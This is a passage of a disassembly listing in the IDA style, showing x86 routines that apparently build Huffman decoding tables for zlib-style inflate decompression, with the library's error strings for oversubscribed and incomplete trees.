		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+8]
		add	edx, eax
		mov	eax, [ebp+arg_4]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		mov	[ecx], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		mov	[eax+34h], ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4C7C50
		add	esp, 0Ch
		jmp	short loc_4C70CD
; ---------------------------------------------------------------------------


loc_4C7069:				; CODE XREF: sub_4C63A5+82j
		mov	[ebp+arg_8], 0FFFFFFFEh
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_C]
		mov	[edx+20h], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_24]
		mov	[ecx+1Ch], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_2C]
		mov	[eax+4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		sub	eax, [edx]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+8]
		add	edx, eax
		mov	eax, [ebp+arg_4]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		mov	[ecx], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		mov	[eax+34h], ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4C7C50
		add	esp, 0Ch
		jmp	short loc_4C70CD
; ---------------------------------------------------------------------------


loc_4C70C8:				; CODE XREF: sub_4C63A5+193j
					; sub_4C63A5+2D0j ...
		jmp	loc_4C640E
; ---------------------------------------------------------------------------


loc_4C70CD:				; CODE XREF: sub_4C63A5+70j
					; sub_4C63A5+235j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4C63A5	endp

; ---------------------------------------------------------------------------
off_4C70D1	dd offset loc_4C6437	; DATA XREF: sub_4C63A5+8Br
		dd offset loc_4C6560
		dd offset loc_4C6761
		dd offset loc_4C6866
		dd offset loc_4C6A2D
		dd offset loc_4C6B18
		dd offset loc_4C6D20
		dd offset loc_4C6EBE
		dd offset loc_4C6FA8
		dd offset loc_4C700A

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4C70F9	proc near		; CODE XREF: sub_4C4D60+4Ep
					; sub_4C4F0F+10E2p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+28h]
		push	edx
		mov	eax, [ebp+arg_4]
		call	dword ptr [eax+24h]
		add	esp, 8
		pop	ebp
		retn
sub_4C70F9	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4C7120	proc near		; CODE XREF: sub_4C4F0F+A6Dp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_8], 0
		push	4
		push	13h
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax+28h]
		push	ecx
		mov	edx, [ebp+arg_10]
		call	dword ptr [edx+20h]
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_4C7151
		mov	eax, 0FFFFFFFCh
		jmp	short loc_4C71C4
; ---------------------------------------------------------------------------


loc_4C7151:				; CODE XREF: sub_4C7120+28j
		mov	eax, [ebp+var_C]
		push	eax
		lea	ecx, [ebp+var_8]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	0
		push	0
		push	13h
		push	13h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4C71C8
		add	esp, 28h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0FFFFFFFDh
		jnz	short loc_4C718E
		mov	eax, [ebp+arg_10]
		mov	dword ptr [eax+18h], offset aOversubscribed ; "oversubscribed dynamic bit lengths tree"...
		jmp	short loc_4C71AD
; ---------------------------------------------------------------------------


loc_4C718E:				; CODE XREF: sub_4C7120+60j
		cmp	[ebp+var_4], 0FFFFFFFBh
		jz	short loc_4C719C
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx], 0
		jnz	short loc_4C71AD


loc_4C719C:				; CODE XREF: sub_4C7120+72j
		mov	edx, [ebp+arg_10]
		mov	dword ptr [edx+18h], offset aIncompleteDyna ; "incomplete dynamic bit lengths tree"
		mov	[ebp+var_4], 0FFFFFFFDh


loc_4C71AD:				; CODE XREF: sub_4C7120+6Cj
					; sub_4C7120+7Aj
		mov	eax, [ebp+var_C]
		push	eax
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx+28h]
		push	edx
		mov	eax, [ebp+arg_10]
		call	dword ptr [eax+24h]
		add	esp, 8
		mov	eax, [ebp+var_4]


loc_4C71C4:				; CODE XREF: sub_4C7120+2Fj
		mov	esp, ebp
		pop	ebp
		retn
sub_4C7120	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4C71C8	proc near		; CODE XREF: sub_4C7120+51p
					; sub_4C7A96+62p ...

var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
var_F8		= dword	ptr -0F8h
var_F4		= dword	ptr -0F4h
var_F0		= dword	ptr -0F0h
var_EC		= dword	ptr -0ECh
var_E8		= dword	ptr -0E8h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_DC		= dword	ptr -0DCh
var_D8		= byte ptr -0D8h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_54		= dword	ptr -54h
var_50		= byte ptr -50h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		lea	eax, [ebp+var_54]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], 0
		mov	edx, [ebp+var_4]
		add	edx, 4
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx], 0
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], 0
		mov	edx, [ebp+var_4]
		add	edx, 4
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx], 0
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], 0
		mov	edx, [ebp+var_4]
		add	edx, 4
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx], 0
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], 0
		mov	edx, [ebp+var_4]
		add	edx, 4
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx], 0
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], 0
		mov	edx, [ebp+var_4]
		add	edx, 4
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx], 0
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], 0
		mov	edx, [ebp+var_4]
		add	edx, 4
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_EC], ecx


loc_4C7306:				; CODE XREF: sub_4C71C8+172j
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		mov	ecx, [ebp+eax*4+var_54]
		add	ecx, 1
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		mov	[ebp+eax*4+var_54], ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_EC]
		sub	edx, 1
		mov	[ebp+var_EC], edx
		cmp	[ebp+var_EC], 0
		jnz	short loc_4C7306
		mov	eax, [ebp+var_54]
		cmp	eax, [ebp+arg_4]
		jnz	short loc_4C735D
		mov	ecx, [ebp+arg_14]
		mov	dword ptr [ecx], 0
		mov	edx, [ebp+arg_18]
		mov	dword ptr [edx], 0
		xor	eax, eax
		jmp	loc_4C7A92
; ---------------------------------------------------------------------------


loc_4C735D:				; CODE XREF: sub_4C71C8+17Aj
		mov	eax, [ebp+arg_18]
		mov	ecx, [eax]
		mov	[ebp+var_100], ecx
		mov	[ebp+var_F4], 1
		jmp	short loc_4C7383
; ---------------------------------------------------------------------------


loc_4C7374:				; CODE XREF: sub_4C71C8:loc_4C739Bj
		mov	edx, [ebp+var_F4]
		add	edx, 1
		mov	[ebp+var_F4], edx


loc_4C7383:				; CODE XREF: sub_4C71C8+1AAj
		cmp	[ebp+var_F4], 0Fh
		ja	short loc_4C739D
		mov	eax, [ebp+var_F4]
		cmp	[ebp+eax*4+var_54], 0
		jz	short loc_4C739B
		jmp	short loc_4C739D
; ---------------------------------------------------------------------------


loc_4C739B:				; CODE XREF: sub_4C71C8+1CFj
		jmp	short loc_4C7374
; ---------------------------------------------------------------------------


loc_4C739D:				; CODE XREF: sub_4C71C8+1C2j
					; sub_4C71C8+1D1j
		mov	ecx, [ebp+var_F4]
		mov	[ebp+var_FC], ecx
		mov	edx, [ebp+var_100]
		cmp	edx, [ebp+var_F4]
		jnb	short loc_4C73C3
		mov	eax, [ebp+var_F4]
		mov	[ebp+var_100], eax


loc_4C73C3:				; CODE XREF: sub_4C71C8+1EDj
		mov	[ebp+var_EC], 0Fh
		jmp	short loc_4C73DE
; ---------------------------------------------------------------------------


loc_4C73CF:				; CODE XREF: sub_4C71C8:loc_4C73F6j
		mov	ecx, [ebp+var_EC]
		sub	ecx, 1
		mov	[ebp+var_EC], ecx


loc_4C73DE:				; CODE XREF: sub_4C71C8+205j
		cmp	[ebp+var_EC], 0
		jz	short loc_4C73F8
		mov	edx, [ebp+var_EC]
		cmp	[ebp+edx*4+var_54], 0
		jz	short loc_4C73F6
		jmp	short loc_4C73F8
; ---------------------------------------------------------------------------


loc_4C73F6:				; CODE XREF: sub_4C71C8+22Aj
		jmp	short loc_4C73CF
; ---------------------------------------------------------------------------


loc_4C73F8:				; CODE XREF: sub_4C71C8+21Dj
					; sub_4C71C8+22Cj
		mov	eax, [ebp+var_EC]
		mov	[ebp+var_A0], eax
		mov	ecx, [ebp+var_100]
		cmp	ecx, [ebp+var_EC]
		jbe	short loc_4C741E
		mov	edx, [ebp+var_EC]
		mov	[ebp+var_100], edx


loc_4C741E:				; CODE XREF: sub_4C71C8+248j
		mov	eax, [ebp+arg_18]
		mov	ecx, [ebp+var_100]
		mov	[eax], ecx
		mov	edx, 1
		mov	ecx, [ebp+var_F4]
		shl	edx, cl
		mov	[ebp+var_E8], edx
		jmp	short loc_4C745B
; ---------------------------------------------------------------------------


loc_4C743E:				; CODE XREF: sub_4C71C8:loc_4C7492j
		mov	eax, [ebp+var_F4]
		add	eax, 1
		mov	[ebp+var_F4], eax
		mov	ecx, [ebp+var_E8]
		shl	ecx, 1
		mov	[ebp+var_E8], ecx


loc_4C745B:				; CODE XREF: sub_4C71C8+274j
		mov	edx, [ebp+var_F4]
		cmp	edx, [ebp+var_EC]
		jnb	short loc_4C7494
		mov	eax, [ebp+var_F4]
		mov	ecx, [ebp+var_E8]
		sub	ecx, [ebp+eax*4+var_54]
		mov	[ebp+var_E8], ecx
		cmp	[ebp+var_E8], 0
		jge	short loc_4C7492
		mov	eax, 0FFFFFFFDh
		jmp	loc_4C7A92
; ---------------------------------------------------------------------------


loc_4C7492:				; CODE XREF: sub_4C71C8+2BEj
		jmp	short loc_4C743E
; ---------------------------------------------------------------------------


loc_4C7494:				; CODE XREF: sub_4C71C8+29Fj
		mov	edx, [ebp+var_EC]
		mov	eax, [ebp+var_E8]
		sub	eax, [ebp+edx*4+var_54]
		mov	[ebp+var_E8], eax
		cmp	[ebp+var_E8], 0
		jge	short loc_4C74BD
		mov	eax, 0FFFFFFFDh
		jmp	loc_4C7A92
; ---------------------------------------------------------------------------


loc_4C74BD:				; CODE XREF: sub_4C71C8+2E9j
		mov	ecx, [ebp+var_EC]
		mov	edx, [ebp+ecx*4+var_54]
		add	edx, [ebp+var_E8]
		mov	eax, [ebp+var_EC]
		mov	[ebp+eax*4+var_54], edx
		mov	[ebp+var_F4], 0
		mov	ecx, [ebp+var_F4]
		mov	[ebp+var_DC], ecx
		lea	edx, [ebp+var_50]
		mov	[ebp+var_4], edx
		lea	eax, [ebp+var_D8]
		mov	[ebp+var_98], eax


loc_4C74FF:				; CODE XREF: sub_4C71C8+386j
		mov	ecx, [ebp+var_EC]
		sub	ecx, 1
		mov	[ebp+var_EC], ecx
		cmp	[ebp+var_EC], 0
		jz	short loc_4C7550
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_F4]
		add	eax, [edx]
		mov	[ebp+var_F4], eax
		mov	ecx, [ebp+var_98]
		mov	edx, [ebp+var_F4]
		mov	[ecx], edx
		mov	eax, [ebp+var_98]
		add	eax, 4
		mov	[ebp+var_98], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx
		jmp	short loc_4C74FF
; ---------------------------------------------------------------------------


loc_4C7550:				; CODE XREF: sub_4C71C8+34Dj
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_4], edx
		mov	[ebp+var_EC], 0


loc_4C7560:				; CODE XREF: sub_4C71C8+404j
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		mov	[ebp+var_F4], ecx
		mov	edx, [ebp+var_F4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+var_4], eax
		test	edx, edx
		jz	short loc_4C75B4
		mov	ecx, [ebp+var_F4]
		mov	edx, [ebp+ecx*4+var_E0]
		mov	eax, [ebp+arg_24]
		mov	ecx, [ebp+var_EC]
		mov	[eax+edx*4], ecx
		mov	edx, [ebp+var_F4]
		mov	eax, [ebp+edx*4+var_E0]
		add	eax, 1
		mov	ecx, [ebp+var_F4]
		mov	[ebp+ecx*4+var_E0], eax


loc_4C75B4:				; CODE XREF: sub_4C71C8+3B4j
		mov	edx, [ebp+var_EC]
		add	edx, 1
		mov	[ebp+var_EC], edx
		mov	eax, [ebp+var_EC]
		cmp	eax, [ebp+arg_4]
		jb	short loc_4C7560
		mov	ecx, [ebp+var_A0]
		mov	edx, [ebp+ecx*4+var_E0]
		mov	[ebp+arg_4], edx
		mov	[ebp+var_EC], 0
		mov	eax, [ebp+var_EC]
		mov	[ebp+var_E0], eax
		mov	ecx, [ebp+arg_24]
		mov	[ebp+var_4], ecx
		mov	[ebp+var_E4], 0FFFFFFFFh
		mov	edx, [ebp+var_100]
		neg	edx
		mov	[ebp+var_9C], edx
		mov	[ebp+var_90], 0
		mov	[ebp+var_8], 0
		mov	[ebp+var_F0], 0
		jmp	short loc_4C763E
; ---------------------------------------------------------------------------


loc_4C762F:				; CODE XREF: sub_4C71C8:loc_4C7A5Fj
		mov	eax, [ebp+var_FC]
		add	eax, 1
		mov	[ebp+var_FC], eax


loc_4C763E:				; CODE XREF: sub_4C71C8+465j
		mov	ecx, [ebp+var_FC]
		cmp	ecx, [ebp+var_A0]
		jg	loc_4C7A64
		mov	edx, [ebp+var_FC]
		mov	eax, [ebp+edx*4+var_54]
		mov	[ebp+var_C], eax


loc_4C765D:				; CODE XREF: sub_4C71C8:loc_4C7A5Aj
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_C]
		sub	edx, 1
		mov	[ebp+var_C], edx
		test	ecx, ecx
		jz	loc_4C7A5F


loc_4C7671:				; CODE XREF: sub_4C71C8:loc_4C78A7j
		mov	eax, [ebp+var_9C]
		add	eax, [ebp+var_100]
		cmp	[ebp+var_FC], eax
		jle	loc_4C78AC
		mov	ecx, [ebp+var_E4]
		add	ecx, 1
		mov	[ebp+var_E4], ecx
		mov	edx, [ebp+var_9C]
		add	edx, [ebp+var_100]
		mov	[ebp+var_9C], edx
		mov	eax, [ebp+var_A0]
		sub	eax, [ebp+var_9C]
		mov	[ebp+var_F0], eax
		mov	ecx, [ebp+var_F0]
		cmp	ecx, [ebp+var_100]
		jbe	short loc_4C76D8
		mov	edx, [ebp+var_100]
		mov	[ebp+var_104], edx
		jmp	short loc_4C76E4
; ---------------------------------------------------------------------------


loc_4C76D8:				; CODE XREF: sub_4C71C8+500j
		mov	eax, [ebp+var_F0]
		mov	[ebp+var_104], eax


loc_4C76E4:				; CODE XREF: sub_4C71C8+50Ej
		mov	ecx, [ebp+var_104]
		mov	[ebp+var_F0], ecx
		mov	edx, [ebp+var_FC]
		sub	edx, [ebp+var_9C]
		mov	[ebp+var_F4], edx
		mov	eax, 1
		mov	ecx, [ebp+var_F4]
		shl	eax, cl
		mov	[ebp+var_94], eax
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		cmp	[ebp+var_94], ecx
		jbe	loc_4C77BB
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	eax, [ebp+var_94]
		sub	eax, edx
		mov	[ebp+var_94], eax
		mov	ecx, [ebp+var_FC]
		lea	edx, [ebp+ecx*4+var_54]
		mov	[ebp+var_98], edx
		mov	eax, [ebp+var_F4]
		cmp	eax, [ebp+var_F0]
		jnb	short loc_4C77BB


loc_4C7759:				; CODE XREF: sub_4C71C8+5F1j
		mov	ecx, [ebp+var_F4]
		add	ecx, 1
		mov	[ebp+var_F4], ecx
		mov	edx, [ebp+var_F4]
		cmp	edx, [ebp+var_F0]
		jnb	short loc_4C77BB
		mov	eax, [ebp+var_94]
		shl	eax, 1
		mov	[ebp+var_94], eax
		mov	ecx, [ebp+var_98]
		add	ecx, 4
		mov	[ebp+var_98], ecx
		mov	edx, [ebp+var_98]
		mov	eax, [ebp+var_94]
		cmp	eax, [edx]
		ja	short loc_4C77A5
		jmp	short loc_4C77BB
; ---------------------------------------------------------------------------


loc_4C77A5:				; CODE XREF: sub_4C71C8+5D9j
		mov	ecx, [ebp+var_98]
		mov	edx, [ebp+var_94]
		sub	edx, [ecx]
		mov	[ebp+var_94], edx
		jmp	short loc_4C7759
; ---------------------------------------------------------------------------


loc_4C77BB:				; CODE XREF: sub_4C71C8+559j
					; sub_4C71C8+58Fj ...
		mov	eax, 1
		mov	ecx, [ebp+var_F4]
		shl	eax, cl
		mov	[ebp+var_F0], eax
		mov	ecx, [ebp+arg_20]
		mov	edx, [ecx]
		add	edx, [ebp+var_F0]
		cmp	edx, 5A0h
		jbe	short loc_4C77EB
		mov	eax, 0FFFFFFFDh
		jmp	loc_4C7A92
; ---------------------------------------------------------------------------


loc_4C77EB:				; CODE XREF: sub_4C71C8+617j
		mov	eax, [ebp+arg_20]
		mov	ecx, [eax]
		mov	edx, [ebp+arg_1C]
		lea	eax, [edx+ecx*8]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_E4]
		mov	edx, [ebp+var_8]
		mov	[ebp+ecx*4+var_90], edx
		mov	eax, [ebp+arg_20]
		mov	ecx, [eax]
		add	ecx, [ebp+var_F0]
		mov	edx, [ebp+arg_20]
		mov	[edx], ecx
		cmp	[ebp+var_E4], 0
		jz	short loc_4C789F
		mov	eax, [ebp+var_E4]
		mov	ecx, [ebp+var_EC]
		mov	[ebp+eax*4+var_E0], ecx
		mov	dl, byte ptr [ebp+var_100]
		mov	byte ptr [ebp+var_14+1], dl
		mov	al, byte ptr [ebp+var_F4]
		mov	byte ptr [ebp+var_14], al
		mov	ecx, [ebp+var_9C]
		sub	ecx, [ebp+var_100]
		mov	edx, [ebp+var_EC]
		shr	edx, cl
		mov	[ebp+var_F4], edx
		mov	eax, [ebp+var_E4]
		mov	ecx, [ebp+var_8]
		sub	ecx, [ebp+eax*4+var_94]
		sar	ecx, 3
		sub	ecx, [ebp+var_F4]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_E4]
		mov	eax, [ebp+edx*4+var_94]
		mov	ecx, [ebp+var_F4]
		mov	edx, [ebp+var_14]
		mov	[eax+ecx*8], edx
		mov	edx, [ebp+var_10]
		mov	[eax+ecx*8+4], edx
		jmp	short loc_4C78A7
; ---------------------------------------------------------------------------


loc_4C789F:				; CODE XREF: sub_4C71C8+658j
		mov	eax, [ebp+arg_14]
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx


loc_4C78A7:				; CODE XREF: sub_4C71C8+6D5j
		jmp	loc_4C7671
; ---------------------------------------------------------------------------


loc_4C78AC:				; CODE XREF: sub_4C71C8+4BBj
		mov	edx, [ebp+var_FC]
		sub	edx, [ebp+var_9C]
		mov	byte ptr [ebp+var_14+1], dl
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_24]
		lea	edx, [ecx+eax*4]
		cmp	[ebp+var_4], edx
		jb	short loc_4C78CF
		mov	byte ptr [ebp+var_14], 0C0h
		jmp	short loc_4C792D
; ---------------------------------------------------------------------------


loc_4C78CF:				; CODE XREF: sub_4C71C8+6FFj
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4C78FF
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx], 100h
		sbb	eax, eax
		and	al, 0A0h
		add	eax, 60h
		mov	byte ptr [ebp+var_14], al
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+var_4], eax
		jmp	short loc_4C792D
; ---------------------------------------------------------------------------


loc_4C78FF:				; CODE XREF: sub_4C71C8+70Fj
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		sub	edx, [ebp+arg_8]
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax+edx*4]
		add	ecx, 50h
		mov	byte ptr [ebp+var_14], cl
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		sub	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+eax*4]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+var_4], eax


loc_4C792D:				; CODE XREF: sub_4C71C8+705j
					; sub_4C71C8+735j
		mov	ecx, [ebp+var_FC]
		sub	ecx, [ebp+var_9C]
		mov	edx, 1
		shl	edx, cl
		mov	[ebp+var_94], edx
		mov	eax, [ebp+var_EC]
		mov	ecx, [ebp+var_9C]
		shr	eax, cl
		mov	[ebp+var_F4], eax
		jmp	short loc_4C796E
; ---------------------------------------------------------------------------


loc_4C795C:				; CODE XREF: sub_4C71C8+7CAj
		mov	ecx, [ebp+var_F4]
		add	ecx, [ebp+var_94]
		mov	[ebp+var_F4], ecx


loc_4C796E:				; CODE XREF: sub_4C71C8+792j
		mov	edx, [ebp+var_F4]
		cmp	edx, [ebp+var_F0]
		jnb	short loc_4C7994
		mov	eax, [ebp+var_F4]
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_14]
		mov	[ecx+eax*8], edx
		mov	edx, [ebp+var_10]
		mov	[ecx+eax*8+4], edx
		jmp	short loc_4C795C
; ---------------------------------------------------------------------------


loc_4C7994:				; CODE XREF: sub_4C71C8+7B2j
		mov	ecx, [ebp+var_FC]
		sub	ecx, 1
		mov	eax, 1
		shl	eax, cl
		mov	[ebp+var_F4], eax
		jmp	short loc_4C79BA
; ---------------------------------------------------------------------------


loc_4C79AC:				; CODE XREF: sub_4C71C8+814j
		mov	ecx, [ebp+var_F4]
		shr	ecx, 1
		mov	[ebp+var_F4], ecx


loc_4C79BA:				; CODE XREF: sub_4C71C8+7E2j
		mov	edx, [ebp+var_EC]
		and	edx, [ebp+var_F4]
		test	edx, edx
		jz	short loc_4C79DE
		mov	eax, [ebp+var_EC]
		xor	eax, [ebp+var_F4]
		mov	[ebp+var_EC], eax
		jmp	short loc_4C79AC
; ---------------------------------------------------------------------------


loc_4C79DE:				; CODE XREF: sub_4C71C8+800j
		mov	ecx, [ebp+var_EC]
		xor	ecx, [ebp+var_F4]
		mov	[ebp+var_EC], ecx
		mov	edx, 1
		mov	ecx, [ebp+var_9C]
		shl	edx, cl
		sub	edx, 1
		mov	[ebp+var_F8], edx


loc_4C7A06:				; CODE XREF: sub_4C71C8+890j
		mov	eax, [ebp+var_EC]
		and	eax, [ebp+var_F8]
		mov	ecx, [ebp+var_E4]
		cmp	eax, [ebp+ecx*4+var_E0]
		jz	short loc_4C7A5A
		mov	edx, [ebp+var_E4]
		sub	edx, 1
		mov	[ebp+var_E4], edx
		mov	eax, [ebp+var_9C]
		sub	eax, [ebp+var_100]
		mov	[ebp+var_9C], eax
		mov	edx, 1
		mov	ecx, [ebp+var_9C]
		shl	edx, cl
		sub	edx, 1
		mov	[ebp+var_F8], edx
		jmp	short loc_4C7A06
; ---------------------------------------------------------------------------


loc_4C7A5A:				; CODE XREF: sub_4C71C8+857j
		jmp	loc_4C765D
; ---------------------------------------------------------------------------


loc_4C7A5F:				; CODE XREF: sub_4C71C8+4A3j
		jmp	loc_4C762F
; ---------------------------------------------------------------------------


loc_4C7A64:				; CODE XREF: sub_4C71C8+482j
		cmp	[ebp+var_E8], 0
		jz	short loc_4C7A82
		cmp	[ebp+var_A0], 1
		jz	short loc_4C7A82
		mov	[ebp+var_108], 0FFFFFFFBh
		jmp	short loc_4C7A8C
; ---------------------------------------------------------------------------


loc_4C7A82:				; CODE XREF: sub_4C71C8+8A3j
					; sub_4C71C8+8ACj
		mov	[ebp+var_108], 0


loc_4C7A8C:				; CODE XREF: sub_4C71C8+8B8j
		mov	eax, [ebp+var_108]


loc_4C7A92:				; CODE XREF: sub_4C71C8+190j
					; sub_4C71C8+2C5j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4C71C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4C7A96	proc near		; CODE XREF: sub_4C4F0F+F0Cp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_8], 0
		push	4
		push	120h
		mov	eax, [ebp+arg_20]
		mov	ecx, [eax+28h]
		push	ecx
		mov	edx, [ebp+arg_20]
		call	dword ptr [edx+20h]
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_4C7ACD
		mov	eax, 0FFFFFFFCh
		jmp	loc_4C7C17
; ---------------------------------------------------------------------------


loc_4C7ACD:				; CODE XREF: sub_4C7A96+2Bj
		mov	eax, [ebp+var_C]
		push	eax
		lea	ecx, [ebp+var_8]
		push	ecx
		mov	edx, [ebp+arg_1C]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_14]
		push	ecx
		push	offset dword_4F2F84
		push	offset dword_4F2F08
		push	101h
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		call	sub_4C71C8
		add	esp, 28h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4C7B11
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx], 0
		jnz	short loc_4C7B56


loc_4C7B11:				; CODE XREF: sub_4C7A96+71j
		cmp	[ebp+var_4], 0FFFFFFFDh
		jnz	short loc_4C7B23
		mov	edx, [ebp+arg_20]
		mov	dword ptr [edx+18h], offset aOversubscrib_0 ; "oversubscribed literal/length tree"
